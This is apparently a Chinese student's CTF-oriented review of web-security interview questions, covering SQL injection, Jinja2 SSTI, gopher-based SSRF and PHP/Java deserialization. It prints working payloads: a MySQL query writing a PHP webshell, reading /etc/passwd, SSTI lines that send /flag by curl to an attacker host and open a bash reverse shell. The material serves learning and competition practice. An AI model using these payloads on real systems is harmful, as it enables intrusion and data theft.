写在前面

29号科技协会面试中期考核结束,接触web安全也快半年了,自己还有诸多不足,在考核中收获颇丰,这次复盘也算是一次阶段性成果检验,希望和师傅们一起进步

文件上传

文件上传条件竞争的原理

在文件被上传后、但尚未被安全机制(如内容检查、重命名、移动或删除)处理完成之前,攻击者通过高速并发请求,抢在系统“清理”或“隔离”恶意文件之前(竞争窗口),成功访问并执行该文件

SQL注入

掌握的SQL注入的攻击手段

联合查询,报错注入,布尔盲注,时间盲注

MYSQL如何GetShell

  1. 存在SQL注入漏洞
  2. 数据库连接用户需要拥有较高的权限,例如MySQL的root权限,或者至少拥有FILEPROCESS等关键权限
  3. 知晓网站物理路径,以便将恶意文件写入到Web可访问的目录中。
  4. 数据库可写:数据库配置允许向文件系统写入文件,例如MySQL中的secure_file_priv参数必须为空或被设置为一个可写的目录

实际上就是通过MYSQL向网站目录中写入webshell

1
SELECT 1,"<?php @assert($_POST['t']);?>" INTO OUTFILE '/var/www/html/1.php';

如果是读取文件的话,也需要知道文件路径

1
SELECT LOAD_FILE('/etc/passwd')

SSTI

了解过哪些模板引擎

Flask****框架 Jinja2引擎(只打过这个…

怎么打无回显的SSTI

  1. 时间盲注
1
{{().class.base.subclasses()[161].init.globals['eval']('__import__("time").sleep(5)')}}
  1. 布尔盲注
1
{% if "".__class__.__base__.__subclasses__()[117].__init__.__globals__["popen"]("cat /flag").read() == "flag{...}" %}haha{% endif %}
  1. 数据外带
1
{{config.class.init.globals['os'].popen('curl http://公网IP:2333 -X POST -d @/flag').read()}}
  1. 反弹shell
1
{{config.__class__.__init__.__globals__['os'].popen('bash -i >& /dev/tcp/你的VPS_IP/7788 0>&1').read()}}

SSRF

SSRF需要发起POST请求时请求怎么做

Gopher协议允许你向目标端口发送原始的 TCP 数据流。因为 HTTP 也是基于 TCP 的,我们可以使用Gopher协议手动“伪造”一个符合 HTTP 协议的数据包发送给服务器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import urllib.parse

# 1. 构造原始数据包 (注意换行符)
# 假设我们要向 127.0.0.1 的 80 端口发送 POST 请求
raw_data = """POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 9

key=12345"""

# 2. 将换行符 \n 替换为 \r\n
# 这里的 \r\n 在 Python 字符串中代表 CRLF
raw_data = raw_data.replace("\n", "\r\n")

# 3. 第一次 URL 编码
# quote() 函数会将特殊字符转换为 %xx 格式
first_encode = urllib.parse.quote(raw_data)

# 4. 拼接 Gopher 协议头
# 注意下划线 _ 的位置
gopher_payload = f"gopher://127.0.0.1:80/_{first_encode}"

# 5. 第二次 URL 编码 (针对 SSRF 场景)
# 如果 SSRF 参数是 ?url=xxx,我们需要对整个 gopher://... 进行编码
final_payload = urllib.parse.quote(gopher_payload, safe='')

print("最终 Payload:")
print(final_payload)

Pickle反序列化

了解过Pickle反序列化吗

之前0xGame是有打过Pickle反序列化,但是印象不深,要重新学习了

https://zhuanlan.zhihu.com/p/89132768

PHP反序列化

怎么解决反序列化执行后抛出异常

问题在于反序列化执行后抛出了异常,此时程序非正常退出,不会触发__destruct() 这种一般要利用PHP的GC机制强制执行__destruct()方法,原理为通过反序列化时覆盖对象,使对象无法被引用,触发GC PHP在反序列化时,允许数组内的键是重复的,后面的重复键会覆盖前一个。思路就是序列化一个有两个元素的数组,将第二个元素设置为任意值,再手动将空元素的索引调整为0,此时就会覆盖前一个元素,相当于该对象刚被实例化出来位置就没了,自然无法被引用,自然就触发了__destruct()

1
2
3
4
//$a是目标序列化对象
$a = serialize($a);
//将空元素的索引调整为0,覆盖前一个元素触发GC
$b = 'a:2:{i:0;' . $a . ';i:0;i:0;}';

也可以直接使用 unset() 函数销毁变量

1
unset($obj);

Java反序列化

CC链都直接尝试调试了吗

大概?其实CC还有很多变种链

在不知道JDK版本的情况下优先选择打哪条CC链

CC6,老生常谈了

CTF

假期打了几场CTF比赛

比赛中的哪道题印象最深

打比赛时的AI使用情况

尝试过Agent解题吗

写在后面

需要学习的地方还有很多,明天早起打Polaris,然后全力准备末期考核吧,加油